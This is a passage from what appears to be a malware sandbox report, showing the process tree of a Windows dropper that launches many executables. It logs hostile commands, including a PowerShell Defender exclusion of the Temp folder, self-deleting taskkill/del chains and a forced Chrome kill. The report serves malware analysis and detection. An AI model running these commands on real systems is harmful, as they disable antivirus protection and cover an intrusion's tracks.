                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:8996
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:4316
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:9060
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:5472
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:6940
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:3024
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:6892
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:7700
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:5736
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:8512
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:6988
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:8476
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:3372
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:6764
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:8188
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:7264
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:4276
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:7580
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:7284
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:8008
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:3928
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:3620
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:7644
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:1528
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:3152
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:7876
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:8532
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:4388
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:1352
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:9060
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:8848
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:932
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:7336
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:7780
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:5156
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:7984
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:8652
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:7700
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                          PID:8512
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:8292
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:7460
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:4256
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                  PID:8532
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                              PID:4564
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                PID:2800
                                                                                                                                                                                                                                                                • C:\ProgramData\2394557.exe
                                                                                                                                                                                                                                                                  "C:\ProgramData\2394557.exe"
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                  PID:4488
                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 4488 -s 1936
                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                    PID:3960
                                                                                                                                                                                                                                                                • C:\ProgramData\6829863.exe
                                                                                                                                                                                                                                                                  "C:\ProgramData\6829863.exe"
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                                                                                                  PID:4600
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                      PID:2176
                                                                                                                                                                                                                                                                  • C:\ProgramData\6927289.exe
                                                                                                                                                                                                                                                                    "C:\ProgramData\6927289.exe"
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    PID:1680
                                                                                                                                                                                                                                                                  • C:\ProgramData\4482056.exe
                                                                                                                                                                                                                                                                    "C:\ProgramData\4482056.exe"
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    PID:4528
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                PID:2824
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                  Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:3884
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:6736
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /im Tue112c483dd3245d.exe /f
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:5660
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                        timeout /t 6
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                        PID:8508
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                  PID:4584
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue118f55232e4.exe
                                                                                                                                                                                                                                                                    Tue118f55232e4.exe
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                    PID:644
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                        PID:3244
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                          taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                          PID:3864
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                    PID:4540
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                    PID:4516
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                    PID:4464
                                                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:4888
                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:3656
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11f251db82fb7b.exe
                                                                                                                                                                                                                                                                  Tue11f251db82fb7b.exe
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                  PID:592
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    PID:1600
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                      PID:1832
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\6710294.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\6710294.exe"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:6052
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\8908882.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\8908882.exe"
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:5900
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\7469720.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\7469720.exe"
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:424
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\4242353.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\4242353.exe"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:5836
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\5079774.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\5079774.exe"
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:4248
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:2440
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:7040
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                        taskkill /im Alfanewfile2.exe /f
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                                        PID:5472
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                        timeout /t 6
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                        PID:2440
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:4616
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 804
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:6032
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 840
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                      PID:4692
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-5QFP4.tmp\setup_2.tmp
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-5QFP4.tmp\setup_2.tmp" /SL5="$10210,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:1560
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 856
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:5148
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 904
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:5964
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 964
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:5748
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 932
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:2244
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 1372
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:1568
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 1344
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:1888
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 1356
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:4192
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                      PID:720
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:4188
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 316
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:5352
